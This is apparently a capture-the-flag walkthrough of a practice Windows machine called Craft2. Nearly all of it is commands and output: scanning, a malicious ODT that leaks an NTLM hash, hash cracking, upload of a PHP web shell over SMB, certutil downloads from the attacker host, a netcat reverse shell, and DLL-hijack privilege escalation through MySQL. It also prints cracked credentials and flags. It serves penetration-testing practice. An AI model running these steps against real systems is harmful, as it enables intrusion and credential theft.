

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.211.188 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.211.188:80
Open 192.168.211.188:135
Open 192.168.211.188:445
Open 192.168.211.188:49666

PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_ http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_ http-title: Craft
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
445/tcp   open  microsoft-ds? syn-ack
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
``` ffuf
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.211.188/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt --recursion -fc 403
```

```
assets [Status: 301, Size: 343, Words: 22, Lines: 10, Duration: 60ms]
[INFO] Adding a new job to the queue: http://192.168.211.188/assets/FUZZ

css [Status: 301, Size: 340, Words: 22, Lines: 10, Duration: 57ms]
[INFO] Adding a new job to the queue: http://192.168.211.188/css/FUZZ

index.php [Status: 200, Size: 9768, Words: 3463, Lines: 167, Duration: 57ms]
js [Status: 301, Size: 339, Words: 22, Lines: 10, Duration: 56ms]
[INFO] Adding a new job to the queue: http://192.168.211.188/js/FUZZ

uploads [Status: 301, Size: 344, Words: 22, Lines: 10, Duration: 56ms]
[INFO] Adding a new job to the queue: http://192.168.211.188/uploads/FUZZ

[INFO] Starting queued job on target: http://192.168.211.188/assets/FUZZ

favicon.ico [Status: 200, Size: 23462, Words: 6, Lines: 8, Duration: 57ms]
img [Status: 301, Size: 347, Words: 22, Lines: 10, Duration: 57ms]
[INFO] Adding a new job to the queue: http://192.168.211.188/assets/img/FUZZ

[INFO] Starting queued job on target: http://192.168.211.188/css/FUZZ

[INFO] Starting queued job on target: http://192.168.211.188/js/FUZZ

[INFO] Starting queued job on target: http://192.168.211.188/uploads/FUZZ

[INFO] Starting queued job on target: http://192.168.211.188/assets/img/FUZZ
``` Refer to edb-44564 \(https://www.exploit-db.com/exploits/44564\) odt
```

```
(kali㉿kali)-[~/pgplay]
└─$ python 44564.py
```



Create a malicious ODF document help leak NetNTLM Creds

By Richard Davy
@rd_pentest
www.secureyourit.co.uk

Please enter IP of listener: 192.168.45.179
``` open`responder`,upload`bad.odt``ntlm`

```
(kali㉿kali)-[~/pgplay]
└─$ sudo responder -l tun0
```

[SMB] NTLMv2-SSP Client : 192.168.211.188  
[SMB] NTLMv2-SSP Username : CRAFT2\theycybergeek  
[SMB] NTLMv2-SSP Hash :  
theycybergeek::CRAFT2:f40513454076e972:96E47C3BC8B3090DDD9F0A5A48CF806C:010100000000000080E1372302ABDA018A8C9  
``` then use john,get winniethepooh

```
(kali㉿kali)-[~/pgplay]
└─$ john theycybergeek.ntlm --wordlist=/home/kali/rockyou.txt

winniethepooh      (theycybergeek)
``` then use `CME`Checksmb`share`,loginCheck,upload`s.php`
```

```
(kali㉿kali)-[~/pgplay]
└─$ crackmapexec smb 192.168.211.188 -u theycybergeek -p 'winniethepooh' --shares
```

SMB 192.168.211.188 445 CRAFT2 [\*] Windows 10 / Server 2019 Build 17763 x64 (name:CRAFT2) (domain:CRAFT2) (signing:False) (SMBv1:False)  
SMB 192.168.211.188 445 CRAFT2 [+] CRAFT2\theycybergeek:winniethepooh  
SMB 192.168.211.188 445 CRAFT2 [+] Enumerated shares  
SMB 192.168.211.188 445 CRAFT2 Share Permissions Remark  
SMB 192.168.211.188 445 CRAFT2 -----  
SMB 192.168.211.188 445 CRAFT2 ADMIN\$ Remote Admin  
SMB 192.168.211.188 445 CRAFT2 C\$ Default share  
SMB 192.168.211.188 445 CRAFT2 IPC\$ READ Remote IPC  
SMB 192.168.211.188 445 CRAFT2 WebApp READ

```
(kali㉿kali)-[~/pgplay]
└─$ smbclient //192.168.211.188/WebApp -U theycybergeek
Password for [WORKGROUP\theycybergeek]: winniethepooh
Try "help" to get a list of possible commands.
smb: > dir
. D 0 Mon May 20 22:11:27 2024
.. D 0 Mon May 20 22:11:27 2024
assets D 0 Tue Apr 5 12:16:03 2022
css D 0 Tue Apr 5 12:16:03 2022
index.php A 9768 Mon Jan 31 11:21:52 2022
js D 0 Tue Apr 5 12:16:03 2022
upload.php A 896 Mon Jan 31 10:23:02 2022
uploads D 0 Mon May 20 22:08:01 2024
```

10327807 blocks of size 4096. 1537397 blocks available

```
smb: > put s.php
putting file s.php as \s.php (0.2 kb/s) (average 15.4 kb/s)
Go to `http://192.168.211.188/s.php?cmd=whoami`get
craft2\apache
``` upload reverse shell,wait for reverse shellC:\Users\apache\Desktopget local.txt
```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp139

http://192.168.211.188/s.php?cmd=certutil.exe -urlcache -split -f http://192.168.45.179/met_139.exe
met_139.exe

http://192.168.211.188/s.php?cmd=met_139.exe

C:\Users\apache\Desktop>type local.txt
dbb6143861d296be591401cf8857d613
``` then use `Get-ChildItem` xampp`file,Check`C:\xampp\passwords.txt`,finddb`root`can log in

```

```

PS C:\Users\Public\Documents> Get-ChildItem -Path C:\xampp -Include .txt,.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include .txt,.ini -File -Recurse -ErrorAction SilentlyContinue

```

```

PS C:\xampp> type passwords.txt
type passwords.txt

```

## XAMPP Default Passwords

### 1. MySQL (phpMyAdmin):

```

User: root
Password:
(means no password!)

```

### 2. FileZilla FTP:

[ You have to create a new user on the FileZilla Interface ]

### 3. Mercury (not in the USB & lite version):

```

Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)

```

```

User: newuser
Password: wampp

```

### 4. WEBDAV:

```

User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf

```

```

LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so

```

```

Please do not forget to refresh the WEBDAV authentication (users and passwords).
``` use ligolo port 3306

```

```

(kali㉿kali)-[~/pgplay]
└─$ sudo ip tuntap add user kali mode tun ligolo

(kali㉿kali)-[~/pgplay]
└─$ sudo ip link set ligolo up

(kali㉿kali)-[~/ligolo-ng]
└─$ ./proxy -selfcert

PS C:\Users\Public\Documents> certutil.exe -urlcache -f http://192.168.45.179/agent_w.exe agent.exe

PS C:\Users\Public\Documents> ./agent -connect 192.168.45.179:11601 -ignore-cert

ligolo-ng » INFO[0154] Agent joined.                                name="CRAFT2\apache@CRAFT2"
remote="192.168.211.188:49771"
ligolo-ng » session
? Specify a session : 1 - #1 - CRAFT2\apache@CRAFT2 - 192.168.211.188:49771
[Agent : CRAFT2\apache@CRAFT2] » start
[Agent : CRAFT2\apache@CRAFT2] » INFO[0166] Starting tunnel to CRAFT2\apache@CRAFT2
[Agent : CRAFT2\apache@CRAFT2] » ifconfig

```

Interface 0	
Name	Ethernet0 2
Hardware MAC	00:50:56:ab:83:92
MTU	1500
Flags	up broadcast multicast running
IPv4 Address	192.168.211.188/24

Interface 1	
Name	Loopback Pseudo-Interface 1
Hardware MAC	
MTU	-1
Flags	up loopback multicast running
IPv6 Address	::1/128
IPv4 Address	127.0.0.1/8

```

(kali㉿kali)-[~/pgplay]
└─$ sudo ip route add 240.0.0.1/32 dev ligolo

(kali㉿kali)-[~/pgplay]
└─$ ip route
default via 192.168.142.2 dev eth0 proto dhcp src 192.168.142.134 metric 100
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.179
192.168.142.0/24 dev eth0 proto kernel scope link src 192.168.142.134 metric 100
192.168.211.0/24 via 192.168.45.254 dev tun0
240.0.0.1 dev ligolo scope link
``` Go to `http://240.0.0.1/phpmyadmin/` then use rootlogin,canuserroot ![Craft2_1.png]
(picture/Craft2_1.png) probablyQQ ```
C:\Users\Public\Documents>certutil.exe -urlcache -f http://192.168.45.179/Report.wer Report.wer

C:\Users\Public\Documents>certutil.exe -urlcache -f http://192.168.45.179/phoneinfo.dll phoneinfo.dll

C:\Users\Public\Documents>certutil.exe -urlcache -f http://192.168.45.179/WerTrigger.exe WerTrigger.exe

C:\Users\Public\Documents>certutil.exe -urlcache -f http://192.168.45.179/nc.exe nc.exe

insert into SQL
select load_file('C:\\Users\\Public\\Documents\\phoneinfo.dll') into dumpfile
"C:\\Windows\\System32\\phoneinfo.dll";
...

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp445

C:\Users\Public\Documents>WerTrigger.exe C:\Users\Public\Documents\nc.exe 192.168.45.179 445 -e cmd.exe
...

(kali㉿kali)-[~/pgplay]
└─$ mysql -h 240.0.0.1 -u root -P 3306

MariaDB [(none)]> select load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt');
+-----+
| load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt') |
+-----+
| a690eede2aa7b9cedd12fc96d2cdf925
|
+-----+

```